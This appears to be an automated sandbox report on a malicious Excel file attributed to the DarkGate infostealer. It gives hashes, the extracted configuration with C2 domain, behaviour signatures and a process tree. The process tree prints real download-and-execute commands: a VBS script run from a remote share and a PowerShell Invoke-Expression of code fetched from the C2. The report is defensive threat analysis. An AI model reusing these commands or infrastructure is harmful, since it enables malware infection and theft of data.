Analysis

  • max time kernel
    299s
  • max time network
    278s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28-02-2024 17:46

General

  • Target

    scan-28-02-24_4822.xlsx

  • Size

    29KB

  • MD5

    ae47390eb1b35abd3004221b885f5bad

  • SHA1

    b0dae6ce8c37c7a24b39dfb00c6fa326746436c0

  • SHA256

    ad29697a7630a389d8f1476989c0cbd960dd33822e3c8e03fc75a2fbe271d8ab

  • SHA512

    baf115866cccbfdc02c30991c23e1267e8964058d20301b1a27a5dc6b495814d7208d589ed1d7fe838235eca200c5fc39a6571ca84436d8be4e83e11c61e51fd

  • SSDEEP

    768:wnEQpllh7tAafroiianGoHoJ+yWWn0Wht7oK:nQJh7Lro4ntD+0A0K

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

cayennesxque.boo

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    true

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    ekoRFSqn

  • minimum_disk

    50

  • minimum_ram

    7000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 4 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\scan-28-02-24_4822.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1492
        • C:\temp\AutoIt3.exe
          "C:\temp\AutoIt3.exe" script.a3x
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:964
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1244
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4416
        • C:\temp\AutoIt3.exe
          "C:\temp\AutoIt3.exe" script.a3x
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:3716

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    9a2ebd55cece29a23cfd0c132323e4f1

    SHA1

    c764fafb19abf4b044944b84611fa26a0cf161a3

    SHA256

    103b9a43729c625e429b22b9838b4f9aaf82589f9c5ed86621f874025cecea85

    SHA512

    745778af5a888b6aad6d2bb0d24e13ec932e69428f09811751ac7daf16f686840d32f8d30612a52c2fc0d5b904c3735c0dd17a80537283fe7aefec76c8acfcc1

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0e11a620ee70025bcfccf0038b870f6e

    SHA1

    37056ff842cd9aff4b03ea4721e2674d2b9ebecb

    SHA256

    ca6d76edc7595c917d41863b3f9a8a7d66fd4fa457ec33b266f3c680fa684db6

    SHA512

    8610ce7c3bbf21aa65932d236fee3d86b9946f7323d886d5277406e883380cde00ad44364b63e3e41a5ec4656f726511113ef9ec166ebf45ee83e29c23d37630

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1sq1blqv.zmy.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\hhGGEBA

    Filesize

    32B

    MD5

    e4f4f256ffe3e115dfa3c66dd2934e44

    SHA1

    1d4aced6092a310767d0f170a9ab52081b18660a

    SHA256

    13d2ef639b032e1063425c1fc92ebe3fc8afdf664231f14c058dc4ad4168f656

    SHA512

    c07d5ae0be846bf0a9b2cb7366a8cc50a2bba00c6aaf973206267030649e73ac975c5cac4000efcdf4b2a360cfbecfa14e86b1a1f3501c998bbd28ac3e8fd14c

  • C:\temp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\temp\script.a3x

    Filesize

    468KB

    MD5

    5dc0a5b884e44209941ec370406fbcc5

    SHA1

    b06cf5d11a5a7252afff61c1a787fb27ff126e28

    SHA256

    68acdae5c94dcfc0adaa1e1965166b3d2b4b8f1f889bce4610dbd1a0b72e2bc9

    SHA512

    0e11e3281175b0c9bdbe2474830fcd38de05e18e6edac4c1b0cd9c334ced89738c2eaf1bdf90c5e6b08c20faf96a6bdd574a472f81bc84355b69fc60832cbb53

  • C:\temp\test.txt

    Filesize

    76B

    MD5

    8b428b9d5c33c6ed79386d4c10600cd8

    SHA1

    0f4bbafe0abe6cf3f3542d49a9eed5db84f9ef7e

    SHA256

    424ef27370eb401871db935fc3fa3811179f5786fe777182550299aa8230f6b6

    SHA512

    307e7d4228577259a4cc3874da09408e45401b46739ccaa96e0bd5a0f6aedb362dd97528aa2acc79d3698710d85c283afd0649ec412dcba8c9f8df1339e3b892

  • memory/964-64-0x0000000005CB0000-0x0000000005FFF000-memory.dmp

    Filesize

    3.3MB

  • memory/964-63-0x0000000005CB0000-0x0000000005FFF000-memory.dmp

    Filesize

    3.3MB

  • memory/964-62-0x00000000047C0000-0x0000000005790000-memory.dmp

    Filesize

    15.8MB

  • memory/1492-36-0x00000220ED850000-0x00000220ED872000-memory.dmp

    Filesize

    136KB

  • memory/1492-37-0x00007FF864A40000-0x00007FF865502000-memory.dmp

    Filesize

    10.8MB

  • memory/1492-58-0x00007FF864A40000-0x00007FF865502000-memory.dmp

    Filesize

    10.8MB

  • memory/1492-41-0x00000220EE000000-0x00000220EE1C2000-memory.dmp

    Filesize

    1.8MB

  • memory/1492-39-0x00000220ED890000-0x00000220ED8A0000-memory.dmp

    Filesize

    64KB

  • memory/1492-38-0x00000220ED890000-0x00000220ED8A0000-memory.dmp

    Filesize

    64KB

  • memory/2776-42-0x00007FF88C330000-0x00007FF88C3ED000-memory.dmp

    Filesize

    756KB

  • memory/2776-5-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

    Filesize

    64KB

  • memory/2776-19-0x00007FF88C330000-0x00007FF88C3ED000-memory.dmp

    Filesize

    756KB

  • memory/2776-20-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-10-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-0-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

    Filesize

    64KB

  • memory/2776-18-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-16-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-14-0x00007FF84BB80000-0x00007FF84BB90000-memory.dmp

    Filesize

    64KB

  • memory/2776-40-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-15-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-12-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-11-0x00007FF84BB80000-0x00007FF84BB90000-memory.dmp

    Filesize

    64KB

  • memory/2776-9-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-13-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-17-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-7-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

    Filesize

    64KB

  • memory/2776-8-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-6-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-3-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

    Filesize

    64KB

  • memory/2776-4-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-1-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

    Filesize

    64KB

  • memory/2776-2-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

    Filesize

    2.0MB

  • memory/3716-100-0x0000000004200000-0x00000000051D0000-memory.dmp

    Filesize

    15.8MB

  • memory/3716-101-0x00000000056F0000-0x0000000005A3F000-memory.dmp

    Filesize

    3.3MB

  • memory/3716-103-0x00000000056F0000-0x0000000005A3F000-memory.dmp

    Filesize

    3.3MB

  • memory/4416-80-0x000002BEDFD90000-0x000002BEDFDA0000-memory.dmp

    Filesize

    64KB

  • memory/4416-79-0x000002BEDFD90000-0x000002BEDFDA0000-memory.dmp

    Filesize

    64KB

  • memory/4416-96-0x00007FF864A40000-0x00007FF865502000-memory.dmp

    Filesize

    10.8MB

  • memory/4416-78-0x00007FF864A40000-0x00007FF865502000-memory.dmp

    Filesize

    10.8MB